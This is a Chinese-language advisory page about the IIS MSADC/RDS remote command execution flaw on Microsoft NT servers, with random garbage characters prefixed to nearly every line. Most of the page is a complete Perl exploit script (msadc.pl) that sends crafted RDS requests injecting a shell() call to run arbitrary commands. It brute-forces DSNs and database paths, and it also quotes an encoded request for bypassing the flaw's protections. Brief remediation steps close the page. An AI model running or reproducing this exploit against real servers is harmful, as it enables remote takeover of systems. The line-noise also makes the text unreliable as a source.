IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
) N8 [@ zSpL^:~ 涉及程序：
&s + DK ` Microsoft NT server
~s
:M l D 2U")g}U 描述：
t KnvNOhn 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
*$t<H-U- .3{PgrZ 详细：
(d L;A0L 如果你没有时间读详细内容的话，就删除:
(Hr_gkGtM c:\Program Files\Common Files\System\Msadc\msadcs.dll
+x7b9sHJ 有关的安全问题就没有了。
#hA] r. rj.] M6# 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
RS$!TTeQ /``4!jU 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
Ddf7wszW 关于利用ODBC远程漏洞的描述，请参看:
Q\P?[i] 0I8w'/s_g9 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm jLANv{" Pl@3=s!~>~ 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
nX@lR~g%F http://www.microsoft.com/security/bulletins/MS99-025faq.asp k *a?E y$ Px!M^
T!Pi 这里不再论述。
qoNVp7uv -P+@n)?T6 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
kIm)Um -QUr| :SK: /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
#E[{ 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
6D[m}/?Uy : MOr ?" ICJ p- #将下面这段保存为txt文件，然后: "perl -x 文件名"
Ez3>}E, L(p{>Ykcc #!perl
H`j s1b1n #
IfGmA.O # MSADC/RDS 'usage' (aka exploit) script
6#,VnS)`q #
4 CzT<cp # by rain.forest.puppy
E3pnu.;U:_ #
mfYY?]A*+ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
]kJ inXHW # beta test and find errors!
U"1z"PcV U]Iypl`l use Socket; use Getopt::Std;
#].n0[ getopts("e:vd:h:XR", \%args);
R]0p L `N+A8 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
bN Ub 8Z=d+}Gg< if (!defined $args{h} && !defined $args{R}) {
//SH=>w2 print qq~
j%2l%Mx( Usage: msadc.pl -h <host> { -d <delay> -X -v }
DNARe!pK -h <host> = host you want to scan (ip or domain)
TRQ@= . -d <seconds> = delay between calls, default 1 second
;.=ZwM]C -X = dump Index Server path table, if available
*W'F 6Hpu -v = verbose
\#(3r1( -e = external dictionary file for step 5
8\z5* IPGs %i7bkdcwk Or a -R will resume a command session
)2@_V % 6} DGEHc1 ~; exit;}
~16QdwK ~! *xi $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
K `=O!; if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
~$#"'Tl4J if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
&< !DNXQ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
jv :!vi: $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
A]fN~PR if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
3Un {Q~6h P@ gVzx)M if (!defined $args{R}){ $ret = &has_msadc;
4!'1o`8vs die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
Y{6vW-z_< Hzr<i4Y=w9 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
KeU|E<|! . "cmd /c ";
(=v :@\r $in=<STDIN>; chomp $in;
m/ ,.3v $command="cmd /c " . $in ;
^;";fr
Vw %LeQpbyOR if (defined $args{R}) {&load; exit;}
& PHejG_# ]*I:N print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
` ZO#n &try_btcustmr;
{H]xA 3[] m `" ^d # print "\nStep 2: Trying to make our own DSN...";
+mM=`[Z`?? &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
U} EaV< d~bZOy print "\nStep 3: Trying known DSNs...";
dGxk
ql &known_dsn;
cL 31g_u 2TH13k$ print "\nStep 4: Trying known .mdbs...";
ET]PF ,` &known_mdb;
6OBe^/ZRt d~i WV6Va if (defined $args{e}){
Vu
@2
print "\nStep 5: Trying dictionary of DSN names...";
&`#k 1t' &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
H . F-mm zV)(i<Q print "Sorry Charley...maybe next time?\n";
K gN=b exit;
UK YQ @ m F32N e6Y6" ##############################################################################
q|An {M`yYeo sub sendraw { # ripped and modded from whisker
"gm[q."n< sleep($delay); # it's a DoS on the server! At least on mine...
$]V,H" my ($pstr)=@_;
PUt\^ke socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
C$"N)6%q die("Socket problems\n");
4*k>M+o/C4 if(connect(S,pack "SnA4x8",2,80,$target)){
;E Z5/"T select(S); $|=1;
N$\'X<{ print $pstr; my @in=<S>;
p~T p=d)/ select(STDOUT); close(S);
} tq return @in;
L1'PQV } else { die("Can't connect...\n"); }}
T1$fu(f j@N z ##############################################################################
#[ei/p zD#$]?@ b sub make_header { # make the HTTP request
,;3bPjey my $msadc=<<EOT
2TFb!?/RQ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
U2v;[ >=] User-Agent: ACTIVEDATA
7a$K@iWU Host: $ip
xwuGJ Content-Length: $clen
JD`IPQb~ E Connection: Keep-Alive
z7vc|Z|
a0wSXd ADCClientVersion:01.06
l*r8.qp Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
_Y{8FN(4 ?*oBevUnCY --!ADM!ROX!YOUR!WORLD!
M~rN17S Content-Type: application/x-varg
XmZs4~\K$G Content-Length: $reqlen
Tu!2lHK; ]=gNA EOT
tTjadnX ; $msadc=~s/\n/\r\n/g;
fwF&V^Dy return $msadc;}
\l tbiDP2 -yP|CZM ##############################################################################
~Q+E" " ;;4>vF #* sub make_req { # make the RDS request
'99rXw my ($switch, $p1, $p2)=@_;
Zz,j,w0 Z my $req=""; my $t1, $t2, $query, $dsn;
d}RU-uiW O]-)?y/ if ($switch==1){ # this is the btcustmr.mdb query
#EG
W76
f $query="Select * from Customers where City=" . make_shell();
dd+hX$, $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
{[|je ]3v $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
g~7x+cu0 Arr(rM elsif ($switch==2){ # this is general make table query
?|i
C-7{8L $query="create table AZZ (B int, C varchar(10))";
qjBF]3%t% $dsn="$p1";}
Wg!<V6} c-`'`L^J elsif ($switch==3){ # this is general exploit table query
}1xD*[W
$query="select * from AZZ where C=" . make_shell();
Cs!z3QU $dsn="$p1";}
w"Q/ 6#!K XRl!~Y| elsif ($switch==4){ # attempt to hork file info from index server
9QXBz=Fnf $query="select path from scope()";
+YJpVxYmZ $dsn="Provider=MSIDXS;";}
QZh#& Qf; e 2"<3 elsif ($switch==5){ # bad query
z|M+
FHl$ $query="select";
q`Rc \aWB% $dsn="$p1";}
.](~ dVp%~ @u>:(9bp $t1= make_unicode($query);
g zMp&J $t2= make_unicode($dsn);
|e QwI& $req = "\x02\x00\x03\x00";
KgH_-REN $req.= "\x08\x00" . pack ("S1", length($t1));
1
$m[# 3 $req.= "\x00\x00" . $t1 ;
+ L\Dh.Ir $req.= "\x08\x00" . pack ("S1", length($t2));
g mqL,H# $req.= "\x00\x00" . $t2 ;
[PIh^ DhK $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
h5o6G1 ur return $req;}
~D0e \Q(A 5!s7`w]8*0 ##############################################################################
Al
MMN"j _:1s7EC sub make_shell { # this makes the shell() statement
tLE7s_^ return "'|shell(\"$command\")|'";}
1 u~Xk? A{ a4;`}5 ##############################################################################
NiSyb yR$ ,
3&D A sub make_unicode { # quick little function to convert to unicode
_' mK=`>u my ($in)=@_; my $out;
EXbaijHQG for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
:
GdLr
return $out;}
9Ro7xSeD 9
df GV!Z ##############################################################################
Q,LDn%+;B* $=9g,39 sub rdo_success { # checks for RDO return success (this is kludge)
\S_ o{0ZY} my (@in) = @_; my $base=content_start(@in);
oazY?E]}3 if($in[$base]=~/multipart\/mixed/){
'Q dDXw5o return 1 if( $in[$base+10]=~/^\x09\x00/ );}
ii5dTimRJ return 0;}
iw{rns B hzcimC) ##############################################################################
LOEiV >^~W'etX| sub make_dsn { # this makes a DSN for us
9 gc0Ri[4m my @drives=("c","d","e","f");
)i ^ S:2 print "\nMaking DSN: ";
adn2&7H foreach $drive (@drives) {
`'E(L & print "$drive: ";
f z J^`
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
0: Nw8J "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
@@z5v bs'{ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
>c @jl $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
Tr.u'b( return 0 if $2 eq "404"; # not found/doesn't exist
mhgvN-? "h if($2 eq "200") {
WB.w3w [f foreach $line (@results) {
ce<88dL return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
s$Vz 1B } return 0;}
ZA7b;{o [ W_L;^5Y;m ##############################################################################
Y`*h#{| {n j`> sub verify_exists {
<u}[_ my ($page)=@_;
E#~J"9k98 my @results=sendraw("GET $page HTTP/1.0\n\n");
Ly-}HW ( return $results[0];}
AIG5a$}& PVi0| ##############################################################################
q Qwf#& `sLD>@m sub try_btcustmr {
S=a>rnF my @drives=("c","d","e","f");
&9ERl Z( A my @dirs=("winnt","winnt35","winnt351","win","windows");
BC)1FxsGf bMB@${i} foreach $dir (@dirs) {
^@
Xzh: print "$dir -> "; # fun status so you can see progress
`PtfPt<{ foreach $drive (@drives) {
Kut @ z>SK print "$drive: "; # ditto
Pyp#'du> $reqlen=length( make_req(1,$drive,$dir) ) - 28;
f~?kx41dq $reqlenlen=length( "$reqlen" );
J(5#fo{Q.g $clen= 206 + $reqlenlen + $reqlen;
T2}X ~A wz{&0-md*' my @results=sendraw(make_header() . make_req(1,$drive,$dir));
S@ @#L if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
U E- 1p else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
N (0%C? f&I5bPS7} ##############################################################################
}BWT21' -Y F):1@.S sub odbc_error {
O DxCD%L my (@in)=@_; my $base;
&3|l4R\ my $base = content_start(@in);
(z:qj/| if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
"XLFw;o $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
1b <[ /g9 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
t+#vcg,G $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
1nR\ m+{ return $in[$base+4].$in[$base+5].$in[$base+6];}
)C$pjjo/` print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
l^2m7 7) print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
v+ ~O\v5Q $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
"I
QM4: x~ E\zw ##############################################################################
E/2_@&U:} `Krk<G sub verbose {
[JEf P/n|. my ($in)=@_;
AEd9H
+I return if !$verbose;
9z+ZFIf7d print STDOUT "\n$in\n";}
nP0r g +t8#rT ^B ##############################################################################
#s{EIj~YR_
|`pDOd sub save {
Z 3f} 'vr my ($p1, $p2, $p3, $p4)=@_;
dN@C)5pm5` open(OUT, ">rds.save") || print "Problem saving parameters...\n";
riQ0'-p print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
{$I1(DYN close OUT;}
)T@?.J` )
D5JA` ##############################################################################
GC[Ot~*_ &hJQHlyJM0 sub load {
fW$1f5g" my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
K.Y.K$NjP{ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
] 4B&8n! @p=<IN>; close(IN);
mM'uRhO+ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
mZ g' $target= inet_aton($ip) || die("inet_aton problems");
C6qGCzlG` print "Resuming to $ip ...";
A+Kp ECP $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
%GGSd0
g if($p[1]==1) {
_QneaPm% $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
PY#_$ C $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
hX: yn:P~ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
A$rCo~Ek if (rdo_success(@results)){print "Success!\n";}
jEm =A8q else { print "failed\n"; verbose(odbc_error(@results));}}
AG|:mQO elsif ($p[1]==3){
sY* qf= if(run_query("$p[3]")){
B.}j1 Bb print "Success!\n";} else { print "failed\n"; }}
x,c\q$8yH elsif ($p[1]==4){
@2sr/gX^ if(run_query($drvst . "$p[3]")){
7 iQa)8, print "Success!\n"; } else { print "failed\n"; }}
-HRa6 exit;}
f%yNq6l 2tS, q_-= ##############################################################################
vBV_aB1{ >gDKkeLD sub create_table {
'`&b1Rc my ($in)=@_;
\"P$*y4Le $reqlen=length( make_req(2,$in,"") ) - 28;
_pkmHj( $reqlenlen=length( "$reqlen" );
s6!! ty;Y $clen= 206 + $reqlenlen + $reqlen;
"Mh}n -oju my @results=sendraw(make_header() . make_req(2,$in,""));
p+CK+m
return 1 if rdo_success(@results);
|AS9^w my $temp= odbc_error(@results); verbose($temp);
W(EN01d \ return 1 if $temp=~/Table 'AZZ' already exists/;
8 -9<r return 0;}
VqS1n }x:}9iphF ##############################################################################
.#LHj}u Ci ?RuZ" sub known_dsn {
Z& bIjp # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
fz rH}^ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
oTve Y "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
UW&K\P "banner", "banners", "ads", "ADCDemo", "ADCTest");
~ sTn?~ >iI_bcqF foreach $dSn (@dsns) {
/EwNMU*6 print ".";
{?X9juc/# next if (!is_access("DSN=$dSn"));
_r`(P#Hy if(create_table("DSN=$dSn")){
pEY zB; print "$dSn successful\n";
=91f26c!~ if(run_query("DSN=$dSn")){
*Tq7[v{0*| print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
x";4)u= print "Something's borked. Use verbose next time\n";}}} print "\n";}
[p z1f!Wn jsq|K=x, ##############################################################################
lN7YU-ygz JQSczE3 sub is_access {
]T%wRd5&- my ($in)=@_;
/brHB @$ $reqlen=length( make_req(5,$in,"") ) - 28;
IW=%2n(<1 $reqlenlen=length( "$reqlen" );
&7KX`%K"D $clen= 206 + $reqlenlen + $reqlen;
~uuM0POo my @results=sendraw(make_header() . make_req(5,$in,""));
ZSn6JV'g my $temp= odbc_error(@results);
z=TuUl@ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
v&xhS
yZ return 0;}
zI_pP?4;.q k!!d2y6 ##############################################################################
]C>h_,EZc nz Klue sub run_query {
jtPHk*>^wu my ($in)=@_;
q^b12@.
$reqlen=length( make_req(3,$in,"") ) - 28;
vZI x > $reqlenlen=length( "$reqlen" );
:~~\{fm $clen= 206 + $reqlenlen + $reqlen;
=9A!5 my @results=sendraw(make_header() . make_req(3,$in,""));
4qyPjAG return 1 if rdo_success(@results);
QLZ%m $Z my $temp= odbc_error(@results); verbose($temp);
N._^\FRyn return 0;}
"S psSQ aK8X,1g%) ##############################################################################
`LJ.NY pP !~] '&9 sub known_mdb {
_
Uv3g lK my @drives=("c","d","e","f","g");
^NrC 8,p my @dirs=("winnt","winnt35","winnt351","win","windows");
F "-GhjK my $dir, $drive, $mdb;
]gVW&3ZW my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
muKjeg'b (~^KXJ{-> # this is sparse, because I don't know of many
7+m.:~H3 } my @sysmdbs=( "\\catroot\\icatalog.mdb",
FeJKXYbk< "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
^;;gPhhWV "\\system32\\certmdb.mdb",
Xnxb.{C "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
G4"[ ynlWV 4iJ4g% ] my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
-9(nsaV "\\cfusion\\cfapps\\forums\\forums_.mdb",
||#+ ^p7G "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
(o!i9 ) "\\cfusion\\cfapps\\security\\realm_.mdb",
K# h7{RE "\\cfusion\\cfapps\\security\\data\\realm.mdb",
>x${I`2w "\\cfusion\\database\\cfexamples.mdb",
#$JY &!M "\\cfusion\\database\\cfsnippets.mdb",
<KZ J "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
=@.5J'! "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
2~@Cj@P] "\\cfusion\\brighttiger\\database\\cleam.mdb",
mnM$#%q;% "\\cfusion\\database\\smpolicy.mdb",
=Ct$!uun "\\cfusion\\database\cypress.mdb",
2XV3f$, H "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
$lF\FC "\\website\\cgi-win\\dbsample.mdb",
/+f3jy:d "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
*m&(h@l "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
jk5C2dy ); #these are just
\5F
{MBx ! foreach $drive (@drives) {
U.J/ "}5`T foreach $dir (@dirs){
?DC;Hk< foreach $mdb (@sysmdbs) {
&FDWlrG g print ".";
I_ na^s h* if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
^/7Y3n!|3 print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
a7e.Z9k! if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
(?z"_\^n/ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
xUDXg* } else { print "Something's borked. Use verbose next time\n"; }}}}}
G V% @A y {QF#&lW foreach $drive (@drives) {
}?Tz=hP foreach $mdb (@mdbs) {
<2fvEW/#v print ".";
i$z*~SuM# if(create_table($drv . $drive . $dir . $mdb)){
s5 o U print "\n" . $drive . $dir . $mdb . " successful\n";
yu=(m~KX
if(run_query($drv . $drive . $dir . $mdb)){
f6%7:B d print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
)IGx3+I
, } else { print "Something's borked. Use verbose next time\n"; }}}}
^%/d]Zwb }
b+ THn'2 Pol
c. ##############################################################################
"XKd#ncP k j!mgu#T sub hork_idx {
nPjN\Es6 print "\nAttempting to dump Index Server tables...\n";
<nF1f(ky print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
&=l aZ xe $reqlen=length( make_req(4,"","") ) - 28;
=T |m#*{.L $reqlenlen=length( "$reqlen" );
vtXZ`[D,l) $clen= 206 + $reqlenlen + $reqlen;
./}W 3 my @results=sendraw2(make_header() . make_req(4,"",""));
_Zbgma sb if (rdo_success(@results)){
?^
`EI} g my $max=@results; my $c; my %d;
Med0O~T% for($c=19; $c<$max; $c++){
yo# fJ` $results[$c]=~s/\x00//g;
Ufe@G\uyI $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
>2K:O\& $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
>~\CiV4^ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
7R>Pk9J $d{"$1$2"}="";}
@%[
VegT foreach $c (keys %d){ print "$c\n"; }
I Hj9n>c)[ } else {print "Index server doesn't seem to be installed.\n"; }}
r~T3Ieb 41\V;yib ##############################################################################
1lf]}V {_]<mw d sub dsn_dict {
YMn_9s7< open(IN, "<$args{e}") || die("Can't open external dictionary\n");
;r3|EA35 while(<IN>){
\_ 3#%%z $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
A]OVmw next if (!is_access("DSN=$dSn"));
*@[+C~U if(create_table("DSN=$dSn")){
6q~*\KRk print "$dSn successful\n";
CL"q " if(run_query("DSN=$dSn")){
(W_U<~`t print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
&(rR )cG print "Something's borked. Use verbose next time\n";}}}
Z_[jah print "\n"; close(IN);}
TXK82qTdf R5MY\^H/A ##############################################################################
{&.?u1C.\ A{ a`%FAV sub sendraw2 { # ripped and modded from whisker
]nQ(|$rW
sleep($delay); # it's a DoS on the server! At least on mine...
0vcM+ }r w my ($pstr)=@_;
3H@29TrJ+ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
e"v oXe die("Socket problems\n");
ph=U<D4 if(connect(S,pack "SnA4x8",2,80,$target)){
b d3q207> print "Connected. Getting data";
L@8C t open(OUT,">raw.out"); my @in;
#[NNb?`F select(S); $|=1; print $pstr;
JiC y77H while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
`i3fC&?C close(OUT); select(STDOUT); close(S); return @in;
5gY9D!;:0D } else { die("Can't connect...\n"); }}
o'p[G]NQ1o &!O~ f ##############################################################################
+ xRSd * gq an]b_ sub content_start { # this will take in the server headers
v6+<F;G3y> my (@in)=@_; my $c;
!gFUC<4bu for ($c=1;$c<500;$c++) {
kIYV%O
if($in[$c] =~/^\x0d\x0a/){
&p:GB _ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
N!^5<2z@eT else { return $c+1; }}}
D^\2a;[AxA return -1;} # it should never get here actually
2V = bE- "3:TrM$|A
##############################################################################
2~2j?\AEd. %R LGO& sub funky {
f2RIOL, my (@in)=@_; my $error=odbc_error(@in);
o:Q.XWa@MG if($error=~/ADO could not find the specified provider/){
jd?NN:7 print "\nServer returned an ADO miscofiguration message\nAborting.\n";
{-)*.l= exit;}
x>~.cey if($error=~/A Handler is required/){
Q1?0 ]5 print "\nServer has custom handler filters (they most likely are patched)\n";
n wPU{4#l< exit;}
^ ]CQd
if($error=~/specified Handler has denied Access/){
U Zc%XZ`"V print "\nServer has custom handler filters (they most likely are patched)\n";
9>HCt*|_8 exit;}}
IRl(H_. +~1~f'4J ##############################################################################
#[ch?K { aq}Q|?/ sub has_msadc {
g\foBK:GE my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
k;?E,!{ my $base=content_start(@results);
L64cCP* return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
X"3 Za[9j return 0;}
h5.AM?*TNd Ld3!2g2y7& ########################
"4e{Cq OFcqouGE rLOdQN 解决方案：
5RhP^:i@C 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
D!CuE7 } 2、移除web 目录: /msadc
